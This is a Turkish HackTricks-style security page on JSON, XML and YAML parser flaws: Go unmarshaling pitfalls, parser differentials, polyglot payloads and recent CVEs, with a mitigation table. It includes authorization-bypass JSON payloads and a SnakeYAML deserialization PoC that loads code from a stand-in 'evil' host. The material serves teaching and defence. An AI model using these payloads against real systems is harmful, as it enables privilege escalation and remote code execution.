JSON, XML & Yaml Hacking & Issues

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Go JSON Decoder

Aşağıdaki sorunlar Go JSON'da tespit edilmiştir, ancak diğer dillerde de mevcut olabilir. Bu sorunlar bu blog yazısında yayınlanmıştır.

Go’nun JSON, XML ve YAML ayrıştırıcıları, kimlik doğrulamasını atlatmak, yetkileri yükseltmek veya hassas verileri dışa aktarmak için kötüye kullanılabilecek uzun bir tutarsızlık ve güvensiz varsayılan ayarlar geçmişine sahiptir.

(Un)Marshaling Beklenmeyen Veriler

Amaç, bir saldırganın hassas alanları okumak/yazmak için izin verilen yapıları istismar etmektir (örneğin, IsAdmin, Password).

  • Örnek Yapı:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Yaygın Güvenlik Açıkları
  1. Eksik etiket (etiket yok = alan varsayılan olarak hala ayrıştırılır):
go
type User struct {
Username string
}

Yük:

json
{"Username": "admin"}
  1. Yanlış - kullanımı:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Yük:

json
{"-": true}

✔️ Alanın (un)marshalled olmasını engellemenin doğru yolu:

go
type User struct {
IsAdmin bool `json:"-"`
}

Parser Farklılıkları

Amaç, farklı parser'ların aynı yükü nasıl farklı yorumladığını kullanarak yetkilendirmeyi atlatmaktır, örneğin:

  • CVE-2017-12635: Tekrar eden anahtarlar aracılığıyla Apache CouchDB atlatması
  • 2022: XML parser tutarsızlığı aracılığıyla Zoom 0-tıklama RCE
  • GitLab 2025 SAML atlatması aracılığıyla XML tuhaflıkları

1. Tekrar Eden Alanlar: Go'nun encoding/json son alanı alır.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Diğer ayrıştırıcılar (örneğin, Java'nın Jackson'ı) ilk olanı alabilir.

2. Büyük/Küçük Harf Duyarsızlığı: Go büyük/küçük harf duyarsızdır:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Unicode hileleri bile işe yarar:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Hizmetler arası uyumsuzluk: Hayal edin:

  • Go ile yazılmış bir Proxy
  • Python ile yazılmış bir AuthZ servisi

Saldırgan gönderir:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python UserAction'ı görür, izin verir
  • Go AdminAction'ı görür, yürütür

Veri Formatı Karışıklığı (Polyglots)

Amaç, formatları (JSON/XML/YAML) karıştıran veya ayrıştırıcı hatalarında açık kalan sistemleri istismar etmektir:

  • CVE-2020-16250: HashiCorp Vault, STS'nin XML yerine JSON döndürmesinin ardından JSON'u bir XML ayrıştırıcısı ile ayrıştırdı.

Saldırganın kontrol ettiği:

  • Accept: application/json başlığı
  • JSON gövdesinin kısmi kontrolü

Go'nun XML ayrıştırıcısı yine de bunu ayrıştırdı ve enjekte edilen kimliğe güvendi.

  • Özel yük:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Sonuç:

  • Go JSON ayrıştırıcı: Action_2 (büyük/küçük harf duyarsız + son kazanan)
  • YAML ayrıştırıcı: Action_1 (büyük/küçük harf duyarlı)
  • XML ayrıştırıcı: dize içindeki "Action_3"'ü ayrıştırır

Dikkate Değer Ayrıştırıcı Güvenlik Açıkları (2023-2025)

Aşağıdaki kamuya açık olarak istismar edilebilen sorunlar, güvensiz ayrıştırmanın çok dilli bir problem olduğunu göstermektedir — sadece bir Go problemi değildir.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Etkileyen: org.yaml:snakeyaml < 2.0 (Spring-Boot, Jenkins vb. tarafından kullanılır).
  • Temel neden: new Constructor() rastgele Java sınıflarını ayrıştırır, uzaktan kod yürütme ile sonuçlanan gadget zincirlerine izin verir.
  • Tek satırlık PoC (savunmasız hostta hesap makinesini açar):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Düzeltme / Önleme:
  1. ≥2.0'a Yükseltin (varsayılan olarak SafeLoader kullanır).
  2. Eski sürümlerde, açıkça new Yaml(new SafeConstructor()) kullanın.

libyaml Çift Serbest Bırakma (CVE-2024-35325)

  • Etkiler: libyaml ≤0.2.5 (birçok dil bağlaması tarafından kullanılan C kütüphanesi).
  • Sorun: yaml_event_delete() fonksiyonunun iki kez çağrılması, saldırganların DoS veya bazı senaryolarda heap istismarı yapabileceği bir çift serbest bırakmaya yol açar.
  • Durum: Üst akış “API kötüye kullanımı” olarak reddetti, ancak Linux dağıtımları, işaretçiyi savunmacı bir şekilde null-serbest bırakan yamanmış 0.2.6 sürümünü gönderdi.

RapidJSON Tam Sayı (Alt|Üst)-taşma (CVE-2024-38517 / CVE-2024-39684)

  • Etkiler: Tencent RapidJSON 8269bc2 commit'inden önce (<1.1.0-patch-22).
  • Hata: GenericReader::ParseNumber() içinde kontrolsüz aritmetik, saldırganların büyük sayısal literaller oluşturmasına izin verir; bu literaller sarılır ve heap'i bozar — sonuçta, elde edilen nesne grafiği yetkilendirme kararları için kullanıldığında ayrıcalık yükseltmesine olanak tanır.

🔐 Önlemler (Güncellenmiş)

RiskDüzeltme / Öneri
Bilinmeyen alanlar (JSON)decoder.DisallowUnknownFields()
Tekrar eden alanlar (JSON)❌ stdlib'de düzeltme yok — jsoncheck ile doğrulayın
Büyük/küçük harf duyarsız eşleşme (Go)❌ Düzeltme yok — yapı etiketlerini doğrulayın + girdi ön-canonize edin
XML çöp verisi / XXESertleştirilmiş bir ayrıştırıcı kullanın (encoding/xml + DisallowDTD)
YAML bilinmeyen anahtarlaryaml.KnownFields(true)
Güvensiz YAML serileştirmesiSafeConstructor kullanın / SnakeYAML ≥2.0'a yükseltin
libyaml ≤0.2.5 çift serbest bırakma0.2.6 veya dağıtım yamanmış sürüme yükseltin
RapidJSON <yamanmış commitEn son RapidJSON ile derleyin (≥Temmuz 2024)

Referanslar

  • Baeldung – “SnakeYAML 2.0 ile CVE-2022-1471'i Çözme”
  • Ubuntu Güvenlik İzleyici – CVE-2024-35325 (libyaml)

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin